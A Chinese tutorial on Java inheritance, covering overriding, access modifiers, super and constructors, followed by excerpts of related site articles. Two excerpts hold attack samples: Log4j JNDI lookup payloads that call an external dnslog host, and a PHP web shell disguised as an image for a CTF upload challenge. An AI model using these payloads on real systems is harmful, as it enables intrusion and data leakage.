学习java的继承

news2024/11/26 12:00:40

1.什么是继承

java中提供了一个关键字,extends,可以让一个类与另一个类建立起父子关系。

例如

public class B extends A {
---
}

在这里,我们称A类为父类(也被称为基类或者超类)B类称为子类(或者是派生类)。

2.继承的特点

子类可以继承父类的非私有化成员(包括成员变量和成员方法)。

3.继承后对象的创建

子类的对象是由子类、父类共同完成的。

4.使用继承的好处

可以减少代码的编写。

public class People {
    private String name;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }
}
public class Teacher extends People {

    private String subject;

    public String getSubject() {
        return subject;
    }

    public void setSubject(String subject) {
        this.subject = subject;
    }

    public void getPeopleName() {
        System.out.println(getName());
    }
}

5.权限修饰符

用来限制类中的成员(成员变量,成员方法,构造器,代码块。。。。)能够被访问的范围。

修饰符在本类中在同一包下的其他类任意包下的子类中任意包下的任意类中
private
缺省
protected
public

6.单继承

java是单继承的,不支持多继承,但是支持多层继承

7.Object类

java所有类的祖宗,我们写的任意的一个类都是Object的子孙类。

8.方法重写

当子类觉得父类中的某个方法不好用,或者无法满足自己的需求时,子类可以重写一个方法名称,参数列表一样的方法,去覆盖父类的这个方法,这就是方法重写。重写后,方法的访问,java会遵循就近原则。

重写需要添加@Override.加上了,安全性增加了,可读性好,子类重写父类方法后,访问权限必须大于或者等于父类该方法的权限(public>protected>缺省),重写方法返回值类型,必须和重写方法和返回值类型一样,或者范围更小。

私有方法,静态方法不能被重写,如果重写会报错。

9.方法重写的应用场景

案例:子类重写Object类的toString()方法,可以返回对象的内容。

也就是父类的方法不满足自己的需求时,就可以方法重写。

10.子类访问的特点

在子类方法中访问其他成员(成员变量、成员方法),是依照就近原则的。

直接访问就是局部变量,使用this关键字就是子类成员变量,使用super就是父类的成员变量。

package com.web201.extends_visited;

public class People {
    String name = "父类的名字";
}

 

package com.web201.extends_visited;

public class Student extends People {
    String name = "子类的名字";

    public void printName() {
        String name = "局部变量的名字";
        System.out.println(name);//局部变量的名字
        System.out.println(this.name);//子类的名字
        System.out.println(super.name);//父类的名字
    }
}
package com.web201.extends_visited;

public class Main {
    public static void main(String[] args) {
        Student student = new Student();
        student.printName();

    }

}

 

11.子类构造器的特点

子类的全部构造器,都会先调用父类的构造器,再执行自己。

因为子类的构造器都默认有一个super();他是默认存在的。

如果父类没有无参数构造器,则我们必须在子类构造器的第一行手写super(.......),指定去调用父类的有参数构造器。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1639444.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

汉王科技亮相世界数字健康论坛:以AI定义第四代血压计

作为科技行业的年度盛会,2024年中关村论坛年会于近日在北京揭幕。 作为中关村知名的人工智能企业,汉王科技携大模型的最新垂直应用、柯氏音法电子血压计等创新成果,在4月29日中关村论坛平行论坛“2024世界数字健康论坛”上亮相。 在《AI赋能血…

C语言/数据结构——每日一题(反转链表)

一.前言 大家好!今天又是每日一题环节。今天我为大家分享了一道单链表题——反转链表。 废话不多说,让我们直接进入正题吧。 二.正文 1.1题目信息 这是一道leetCode上面的一道题:https://leetcode.cn/problems/reverse-linked-list 1.2解…

[技术小技巧] 可视化分析:在jupyter中使用d3可视化树形结构

首先在python中定义一个字符串,记录d3.js绘制属性图的js脚本代码模版。其中{{data}}就是将来要被替换的内容。 d3_code_template """ // 创建树状结构数据 var treeData {{data}};// 创建d3树布局 var margin { top: 20, right: 90, bottom: 30,…

云原生Kubernetes: K8S 1.29版本 部署Harbor

目录 一、实验 1.环境 2.Linux 部署docker compose 3.证书秘钥配置 4.K8S 1.29版本 部署Harbor 5.K8S 1.29版本 使用Harbor 二、问题 1.docker 登录harbor失败 一、实验 1.环境 (1)主机 表1 主机 主机架构版本IP备注masterK8S master节点1.2…

使用CNN或resnet,分别在flower5,flower17,flower102数据集上实现花朵识别分类-附源码-免费

前言 使用cnn和resnet实现了对flower5,flower17,flower102数据集上实现花朵识别分类。也就是6份代码,全部在Gitee仓库里,记得点个start支持谢谢。 本文给出flower17在cnn网络实现,flower102在resnet网络实现的代码。…

BJFUOJ-C++程序设计-实验3-继承和虚函数

A TableTennisPlayer 答案&#xff1a; #include<iostream> #include<cstring> using namespace std;class TableTennisPlayer{ private:string firstname;string lastname;bool hasTable;public:TableTennisPlayer(const string &, const string &, bool…

VULHUB复现log4j反序列化漏洞-CVE-2021-44228

本地下载vulhub复现就完了&#xff0c;环境搭建不讲&#xff0c;网上其他文章很好。 访问该环境&#xff1a; POC 构造&#xff08;任选其一&#xff09;&#xff1a; ${jndi:ldap://${sys:java.version}.xxx.dnslog.cn} ${jndi:rmi://${sys:java.version}.xxx.dnslog.cn}我是…

docker 指定根目录 迁移根目录

docker 指定根目录 1、问题描述2、问题分析3、解决方法3.1、启动docker程序前就手动指定docker根目录为一个大的分区(支持动态扩容)&#xff0c;事前就根本上解决根目录空间不够问题3.1.0、方法思路3.1.1、docker官网安装文档3.1.2、下载docker安装包3.1.3、安装docker 26.1.03…

JavaEE >> Spring MVC(2)

接上文 本文介绍如何使用 Spring Boot/MVC 项目将程序执行业务逻辑之后的结果返回给用户&#xff0c;以及一些相关内容进行分析解释。 返回静态页面 要返回一个静态页面&#xff0c;首先需要在 resource 中的 static 目录下面创建一个静态页面&#xff0c;下面将创建一个静态…

[1673]jsp在线考试管理系统Myeclipse开发mysql数据库web结构java编程计算机网页项目

一、源码特点 JSP 在线考试管理系统是一套完善的java web信息管理系统&#xff0c;对理解JSP java编程开发语言有帮助&#xff0c;系统具有完整的源代码和数据库&#xff0c;系统主要采用B/S模式开发。开发环境为TOMCAT7.0,Myeclipse8.5开发&#xff0c;数据库为Mysql5.0&…

[MRCTF2020]你传你呢 1

上传一个文件 图片木马 新建一个图片木马&#xff0c;这里我命名为a.php&#xff0c;名字需和待会上传的.htaccess一致 GIF89a <script languagephp>eval($_REQUEST["cmd"])</script>抓包上传的a.php文件&#xff0c;修改两个地方 新建一个.htacces…

Neo4j v5 中 Cypher 的变化

How Cypher changed in Neo4j v5 Neo4j v5 中 Cypher 的变化 几周前&#xff0c;Neo4j 5 发布了。如果你像我一样&#xff0c;在 Neo4j 4 的后期版本中忽略了所有的弃用警告&#xff0c;你可能需要更新你的 Cypher 查询以适应最新版本的 Neo4j。幸运的是&#xff0c;新的 Cyp…

confluence 设置https代理

使用nginx反待confluence并开启https后&#xff0c;登录confluence会一直提示&#xff1a;scheme、proxyName、proxyPort设置错误。 解决办法&#xff1a; find / -name server.xmlvi /opt/atlassian/confluence/conf/server.xml HTTP反代配置 HTTPS反代配置

小程序地理位置接口权限直接抄作业

小程序地理位置接口有什么功能&#xff1f; 随着小程序生态的发展&#xff0c;越来越多的小程序开发者会通过官方提供的自带接口来给用户提供便捷的服务。但是当涉及到地理位置接口时&#xff0c;却经常遇到申请驳回的问题&#xff0c;反复修改也无法通过&#xff0c;给的理由也…

【大模型应用】使用 Windows 窗体作为 Copilot 应用程序的 Ollama AI 前端(测试llava视觉问答)...

项目 “WinForm_Ollama_Copilot” 是一个使用Windows Forms作为前端的Ollama AI Copilot应用程序。这个项目的目的是提供一个用户界面(UI)&#xff0c;通过它&#xff0c;用户可以与Ollama AI进行交互。以下是该项目的一些关键特点和功能&#xff1a; Ollama Copilot: 这是一个…

[方法] Unity 实现仿《原神》第三人称跟随相机 v1.0

参考网址&#xff1a;【Unity中文课堂】RPG战斗系统Plus 在Unity游戏引擎中&#xff0c;实现类似《原神》的第三人称跟随相机并非易事&#xff0c;但幸运的是&#xff0c;Unity为我们提供了强大的工具集&#xff0c;其中Cinemachine插件便是实现这一目标的重要工具。Cinemachi…

Rust Turbofish 的由来

0x01 什么是 Turbofish 我们运行如下 Rust Snippet&#xff1a; fn main() {let numbers: Vec<i32> vec![1, 2, 3, 4, 5, 6, 7, 8, 9, 10];let even_numbers numbers.into_iter().filter(|n| n % 2 0).collect();println!("{:?}", even_numbers); }不出意…

什么是UDP反射放大攻击,有什么安全措施可以防护UDP攻击

随着互联网的飞速发展和业务复杂性的提升&#xff0c;网络安全问题日益凸显&#xff0c;其中分布式拒绝服务&#xff08;DDoS&#xff09;攻击成为危害最为严重的一类网络威胁之一。 近些年&#xff0c;网络攻击越来越频繁&#xff0c;常见的网络攻击类型包括&#xff1a;蠕虫…

TS学习-泛型基础

目录 1&#xff0c;介绍1&#xff0c;在函数中使用2&#xff0c;在类型别名&#xff0c;接口中使用3&#xff0c;在类中使用 2&#xff0c;泛型约束3&#xff0c;多泛型4&#xff0c;举例实现 Map 1&#xff0c;介绍 泛型相当于是一个类型变量&#xff0c;有时无法预先知道具体…

【每日刷题】Day30

【每日刷题】Day30 &#x1f955;个人主页&#xff1a;开敲&#x1f349; &#x1f525;所属专栏&#xff1a;每日刷题&#x1f34d; &#x1f33c;文章目录&#x1f33c; 1. 牛牛的链表添加节点_牛客题霸_牛客网 (nowcoder.com) 2. 牛牛的链表删除_牛客题霸_牛客网 (nowcoder…